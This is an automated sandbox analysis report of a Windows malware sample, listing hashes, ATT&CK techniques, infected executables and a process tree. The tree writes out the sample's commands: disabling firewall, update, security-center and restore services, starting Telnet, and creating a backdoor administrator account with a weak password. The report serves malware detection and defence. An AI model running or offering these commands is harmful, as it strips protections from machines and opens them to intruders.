2659009bbdff7e63bb93e28a200da60976cbf050d057cff4c2179368b91b3ecf

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/05/2026, 19:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Size 975KB
Sample260502-yaz3psew91
SHA256 2659009bbdff7e63bb93e28a200da60976cbf050d057cff4c2179368b91b3ecf
MD5 6c69d98f8bba875f688152fd7d16b80b
SHA1 71732a873a76a68d8dc5d2ea7db926e8c03ba783
SHA512 16b3014fea12c5282e154eaf7ea1b9771d0092f16a1a81451431de87904f502d7f2a7d1bc6fb1c0ba1620754530bbea585cfce36cc7b1c0f7206ba2071ef3786
SSDEEP 24576:w4R5CIH/7zzzd5b20GU20Gom3NCdBTNsk:wabH//zhBNw3NCLT7
TLSH
T183256C52B39408E9E873C53999618516EA727C650B60DECF6380770A1F337E2AE38F57
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
3260	UpdatAuto.exe
4552	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe
File created	C:\Windows\SysWOW64\Option.bat	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmic.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\xjc.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jjs.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jp2launcher.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\orbd.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\schemagen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jrunscript.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\policytool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\servertool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jsadebugd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jsadebugd.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\ktab.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\servertool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\tnameserv.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\orbd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\rmiregistry.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\unpack200.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstatd.exe	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2932	sc.exe
2244	sc.exe
3312	sc.exe
864	sc.exe
4336	sc.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Runs net.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
3260	UpdatAuto.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 2700	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	85
PID 4984 wrote to memory of 3260	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	87
PID 3260 wrote to memory of 700	3260	UpdatAuto.exe	88
PID 4984 wrote to memory of 4552	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	90
PID 4984 wrote to memory of 4328	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	92
PID 4984 wrote to memory of 1920	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	93
PID 4984 wrote to memory of 1268	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	94
PID 4984 wrote to memory of 876	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	95
PID 4984 wrote to memory of 1440	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	96
PID 4984 wrote to memory of 4016	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	97
PID 4984 wrote to memory of 3612	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	98
PID 4984 wrote to memory of 2932	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	100
PID 4984 wrote to memory of 4336	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	101
PID 4984 wrote to memory of 864	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	102
PID 4984 wrote to memory of 3312	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	103
PID 4984 wrote to memory of 2244	4984	2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	104
PID 4328 wrote to memory of 228	4328	cmd.exe	116
PID 228 wrote to memory of 1448	228	net.exe	117
PID 1268 wrote to memory of 2084	1268	cmd.exe	118
PID 1440 wrote to memory of 2280	1440	cmd.exe	119
PID 2084 wrote to memory of 4880	2084	net.exe	120
PID 2280 wrote to memory of 8	2280	net.exe	121
PID 1920 wrote to memory of 5100	1920	cmd.exe	122
PID 5100 wrote to memory of 1996	5100	net.exe	123
PID 3612 wrote to memory of 3736	3612	cmd.exe	124
PID 4016 wrote to memory of 2056	4016	cmd.exe	125
PID 876 wrote to memory of 4356	876	cmd.exe	126
PID 3736 wrote to memory of 1900	3736	net.exe	127
PID 4356 wrote to memory of 840	4356	net.exe	128
PID 2056 wrote to memory of 2424	2056	net.exe	129

C:\Users\Admin\AppData\Local\Temp\2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2700
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:700
- C:\Users\Admin\AppData\Local\Temp\2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
  2026-05-02_6c69d98f8bba875f688152fd7d16b80b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
  2⤵
  - Executes dropped EXE
  PID:4552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1448
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5100
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1996
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2280
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:8
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:2424
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1900
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2932
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4336
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:864
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3312
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 1.6MB
SHA256 c8f13bcf67dae91ffe94ac78aea2722b14aec65824684fb29204f5c2d1a13d71
MD5 51dacf3cad105bd9810e3fa95798f3d5
SHA1 7afbf2a765f2e86579beb9aa9eb67ca021b6bfbf
SHA512 18b432f9520ea4a391b4e389a21e90280b497173a3a02fac59a20af61585a332921f3697eef23367005309da08b22a00f0bc90899ba2dd39b76788a54e381c9b
SSDEEP 24576:w4R5CIH/7Vzzd5b20GU20G7a7/ezSC6vUyD/aqgrvWx6q8wyu:wabH/5zhBNd/ezSC6vUzPvMHjy
TLSH
T130850A15F6788327D0B3D0B9C5D6A659FE3238460B3089CB5346A71C2E377E19A35B3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zG.exe

Path C:\Program Files\7-Zip\7zG.exe
Size 1.4MB
SHA256 fb3de2e455242db130d1362add94289729c5429616b157bb797e4a2ebcd6eb59
MD5 0009790bfcfc885f12b0ff690f1d345f
SHA1 c80c8c587a478a9b58c51bd5998f37706f7ae9ac
SHA512 d88132b8c466e62cd76e320ee615182effbd84d9b7e7c00b4a8239af6e73107436f15c78c3e1105b10297a809ee56cff2d3e118341d80f9949353a833e229868
SSDEEP 24576:w4R5CIH/7gzzd5b20GU20GdVbqPb88hv/l+7:wabH/czhBNSVO88hXl+
TLSH
T171652A52F6A48265E073C179C5E2965AEA323C410B30CECF5385A71D2E77BD2DA35B32
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Uninstall.exe

Path C:\Program Files\7-Zip\Uninstall.exe
Size 718KB
SHA256 52f1a8857c2447d802560d79dd2c642c64fcf68b3f56c5810023890e001514f7
MD5 75bb3f17c8668744c211742873cd87a5
SHA1 7a24ad9fc9a66237bb6c0b18e0b091a0f238215b
SHA512 9f660f5ffbc2ae2117b5bdb6dda571feefb826f3db76f229cfaa032cacee23f348123c6eee4089bf2a82834fc8a4f174ed8d68081cc20a0472637a5d582f86f1
SSDEEP 12288:w4Ryed8I7r/7mpBUcnhzd5PL1fh7NhO0ZUgL1fh7NhO0ZUja:w4R5CIH/72zzd5b20GU20Gja
TLSH
T12FF45C12A39404A9F477C57569718116EA36BC610B20EEDF63C0770A1E36BE2BE74F17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConvertFromStart.exe

Path C:\Program Files\ConvertFromStart.exe
Size 1.8MB
SHA256 ab5c116618849325b4e407b3a90125a813fdcdcb210b32d3a02795c812528190
MD5 2c02ad3878aa03f9393b017023f36f98
SHA1 201cffdac0eebf28446d8df46dbc31159816ff43
SHA512 1f3da53fb34c544cba80c5850cf3ab8e9aee27bc608ac1dccf88705d4ce9ee676861652d33f7bcc2f03c2d7c6d4e240885b0c157946e685bf40f94b5eab4cbf0
SSDEEP 49152:wabH/lzhBNU2ScPHQCATZa/qVmVL/Pywl:jiC/grVciQ
TLSH
T1C995F113B39404A9E4B7C57569658112EA317D610B20EEDF63C0770A2E36BD2BE78F1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrmstp.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
Size 6.7MB
SHA256 6003a6eccd748bba888b48a8682dda77371c40108c3a51ecebb9e49e6f6dba9b
MD5 c63ae83bccd1b002a551948c8e77b045
SHA1 25309d192b554e38aaefb8225fc2782ecae61370
SHA512 111614cddc3e139f0572cae56abde3347aec49e81ea77f94e24b4addf8171465c6cbf06d1ffb9c466bb174bf02b64d8432355664402be0563e6ea04f7e081518
SSDEEP 49152:wabH/OzhBNZj8dh0WHt5BUp3DJf5SUYLoDpgLjSTYlQcGeKAaLSF259ruMHwpXMb:YyQRQyi36YOcP+Lvw2gAf+PN34
TLSH
T13E666C13F3A501E8E05ED974CF3952229B357C4A8BB093EF259436E51A72ED47B38B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_pwa_launcher.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
Size 2.4MB
SHA256 fbf248889ae7eaf45950b9b263b9d5613dc401d446676f1ae65715d954e46084
MD5 f66f64da64aa442fe889a91cd393088e
SHA1 a74ef0b5f76d91e8c1f69badde4a2e02a045d438
SHA512 80489b7bf8a4552e3d2e966065d5c10f5b2e16a87dc85194ea7b75fbccf9be92635f3bf96e9d790ab900f23a1fac6c8096cf3ece6028f74516d4af671496c1e7
SSDEEP 24576:w4R5CIH/76zzd5b20GU20GSwvLof6SRQ+rn/fDboqxN1nnh6z7DaHGTNHu7PNU34:wabH/OzhBNN68Qg55nhoeWu7PNU3/Q
TLSH
T199C53933B2E200A9D45ED1769F56872196E17C718FA0E7DB8241730A1F72AD07B39B1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevated_tracing_service.exe

